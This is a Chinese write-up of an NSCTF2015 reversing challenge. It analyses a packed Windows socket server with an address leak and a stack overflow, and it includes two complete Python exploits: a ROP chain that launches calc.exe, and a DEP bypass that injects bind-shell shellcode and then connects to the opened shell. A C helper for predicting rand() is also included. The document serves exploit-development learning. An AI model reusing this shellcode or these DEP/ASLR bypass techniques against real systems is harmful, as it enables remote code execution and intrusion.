这道题目我没有写出Exploit,因为编码时候里面几个细节处理出错。但对程序的逆向分析已完成,这里就学习一下别人写Exploit的思路。主要参考:绿盟科技网络攻防赛资料下载

0x01 题目要求

题目要求如下:

0x02 漏洞分析

首先脱掉ASPack壳,OEP如下:

NSCTF2015 逆向第五题分析-LMLPHP

NSCTF2015 逆向第五题分析-LMLPHP

使用IDA分析,发现这是一个Socket server程序,监听在2994端口。支持三个命令:ENCRYPT、STATUS和EXIT

main函数中大都是Socket的逻辑代码,其中重点需要关注这2个函数:ShellExecuteA()和sub_401120()。

以下是sub_401120()函数主要代码:

NSCTF2015 逆向第五题分析-LMLPHP

NSCTF2015 逆向第五题分析-LMLPHP

观察发现,STATUS命令的处理中打印了内存地址,存在一处Information Leakage漏洞。

接下来分析ENCRYPT命令的处理逻辑,即sub_401120()函数,它主要调用sub_401030()函数,我们将其重命名为encrypt()

NSCTF2015 逆向第五题分析-LMLPHP

NSCTF2015 逆向第五题分析-LMLPHP

encrypt()函数做了两件事,一是使用rand()函数产生一个随机字符数组keys,二是将传入数据与keys异或后拷贝给大小为200bytes的栈内存。

而我们可以传入的数据最长可以是0XFFFF,显然超过200字节,因此这里会造成栈溢出。

NSCTF2015 逆向第五题分析-LMLPHP

NSCTF2015 逆向第五题分析-LMLPHP

0x03 漏洞利用Exploit

由于题目要求在开启DEP+ASLR的系统上成功执行Exploit,因此想到两种利用方法,一是通过VirtualProtect()关闭DEP,栈上注入shellcode执行。二是构造ROP链绕过ASLR+DEP。

无论哪种利用方法,首先要解决的问题是,我们传入的数据都会被encrypt()函数加密,也就是与keys的异或操作,而keys又是通过rand()随机生成。因此输入的数据首先要进行逆编码。好消息是,这里使用的rand()是以时间作种子的伪随机,其值可以预测。

方法二、ROP Bypass ASLR+DEP

下面代码是第二种,通过ROP实现的Exploit(学习作者思路时稍有修改):

import socket
import telnetlib
import struct
from time import time
from subprocess import * s = socket.socket()
s.connect(('127.0.0.1', 2994))
f = s.makefile('rw', bufsize=0) welcom = s.recv(1000)
print welcom #0X00
seed = time()
out = check_output("rand.exe {}".format(int(seed)), shell = True)
tmp_1 = out[:-1].split(',')
keys = list()
for i in tmp_1:
    tmp_2 = i.split(' ')
    tmp_3 = tmp_2[1]
    tmp_3 += tmp_2[0]
    tmp_4 = int(tmp_3, 16)
    keys.append(tmp_4) #0X01
s.send("STATUS\n")
text = s.recv(1000)[-11:]
text = int(text, 16)
print ' + GET ADDRESS ' + hex(text) #0X02
payload = ""
payload_1 = "\x00" * 512
payload_1 += struct.pack('I', text + 0x1001) # mov eax, esp; ret
payload_1 += struct.pack('I', text + 0x1284) # push 5ACH (_sprintf_s())
for i in range(len(payload_1)/4):
    payload += struct.pack('I', struct.unpack('I', payload_1[i*4:i*4+4])[0] ^ keys[i & 0x1F]) s.send("ENCRYPT \x08\x02{}".format(payload))
esp = s.recv(1000)[-11:]
esp = int(esp, 16)
target = esp + 0x1A     #why 0x1A?
print ' + GET ADDRESS ' + hex(target) #0X03
payload = "calc.exe\x00\x00\x00\x00"
payload_2 = "\x00" * 500
payload_2 += struct.pack('I', text + 0x153B)    #stack of ShellExcuteA()
payload_2 += struct.pack('I', target)
payload_2 += "\x00\x00\x00\x00"
payload_2 += "\x00\x00\x00\x00"
payload_2 += "\x05\x00\x00\x00" for i in range(len(payload_2)/4):
    payload += struct.pack('I', struct.unpack('I', payload_2[i*4:i*4+4])[0] ^ keys[(i+3) & 0x1F]) print ' + EXPLOITING...'
s.send("ENCRYPT \x14\x02{}".format(payload))
s.recv(1000)

由于Python的rand()函数与Windows库函数实现不一样,因此要调用C库函数。这里作者没有将其集成到Exploit代码里,而是写了一个C程序,通过命令行与之通信:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) 
{
int i;
char out[10000];
char tmp[100];
unsigned long int seed;
seed = atol(argv[1]);
srand(seed);
for (i = 0; i < 32; i++) {
sprintf(tmp, "%04x %04x,", rand(), rand());
strcat(out, tmp);
}
printf("%s", out);
return 0;
}

以上利用过程分3步:

1.通过STATUS泄漏程序基地址,后面构造ROP Gadgets时可以通过它直接对指令寻址。

2.通过STATUS泄漏ESP地址。通过分析GetModuleHandleA代码可知道,其返回值存储于eax寄存器,而代码中又有一处mov esi, eax. 因此只要执行一段mov eax, esp; retn或mov esi, esp; retn 的Gadgets,然后跳转到push 5ACh处执行,就可以实现泄漏ESP的地址。

NSCTF2015 逆向第五题分析-LMLPHP

NSCTF2015 逆向第五题分析-LMLPHP

通过观察发现,helper()函数中恰有此指令。

NSCTF2015 逆向第五题分析-LMLPHP

NSCTF2015 逆向第五题分析-LMLPHP

3."calc.exe"字符串入栈,并重构ShellExecuteA函数栈,完成利用。

NSCTF2015 逆向第五题分析-LMLPHP

NSCTF2015 逆向第五题分析-LMLPHP

溢出后跳转到.text:0040153B处执行,其中ShellExecuteA函数后4个参数,由我们在栈上提供。

NSCTF2015 逆向第五题分析-LMLPHP

NSCTF2015 逆向第五题分析-LMLPHP

方法一、VirtualProtect关闭DEP

第一种方法中,helper(void)函数中提供了一处VirtualProtect指令可供使用:

NSCTF2015 逆向第五题分析-LMLPHP

NSCTF2015 逆向第五题分析-LMLPHP

贴一个关闭DEP利用的思路,来自@Chu同学:

#coding: utf-8

from pwn import *

HOST = sys.argv[1]

conn = remote(HOST, 2994)
conn.newline = "\r\n" # get header
conn.recv() # get addr
log.info("try to get the base addr")
conn.sendline("STATUS")
base = int(conn.recv().strip()[-10:], 16)
log.success("base addr => {}".format(hex(base))) # first encrypt, to get the table
log.info("send the first packet, try to get the table")
conn.sendline("ENCRYPT \x80\x00" + "A"*0x80)
conn.recv(3)
table_enc = conn.recv(0x80)
table = []
for c in table_enc:
    table.append(ord(c)^ord('A')) 
log.success("Table:")
for c in table: 
    print hex(c),
print # second encrypt, exploit!
log.info("send the second packet, try to exploit it")
payload = "A" * 512 # save esp to eax, ebx
payload += pack(base+0x1001)
payload += pack(base+0x1004) # point ebx to shellcode
payload += pack(base+0x1015)
payload += pack(base+0x1015)
payload += pack(base+0x1015)
payload += pack(base+0x1015)
payload += pack(base+0x1015) # point eax to parameter1
payload += pack(base+0x100e)
payload += pack(base+0x100e)
payload += pack(base+0x100e)
payload += pack(base+0x100e)
payload += pack(base+0x100e)
payload += pack(base+0x3814)
payload += pack(0x4)
payload += pack(base+0x5c0a) # modify parameter 1
payload += pack(base+0x1007) # point eax to ret addr & modify ret
payload += pack(base+0x100a)
payload += pack(base+0x1007) # call VirtualProtect
payload += pack(base+0x101b) payload += "AAAA"
payload += "BBBB"
payload += pack(0x200)
payload += pack(0x40)
payload += pack(0x00010000)
payload += "\x90" * 200 # shellcode for bind shell
payload += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
payload += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
payload += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
payload += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
payload += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
payload += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
payload += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
payload += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
payload += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
payload += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
payload += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
payload += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
payload += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
payload += "\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40\x50\x68"
payload += "\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
payload += "\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57"
payload += "\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1"
payload += "\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63"
payload += "\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59"
payload += "\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24"
payload += "\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56"
payload += "\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e"
payload += "\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
payload += "\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
payload += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
payload += "\x53\xff\xd5" # xor payload
offset = ''
for i in xrange(len(payload)):
    offset += chr(ord(payload[i])^table[i%128])
conn.sendline('ENCRYPT \xf0\x08'+offset) # close the connection
conn.close() # interact
conn = remote(HOST, 4444)
log.success("enjoy!")
conn.interactive(prompt="")
conn.close()
04-14 17:02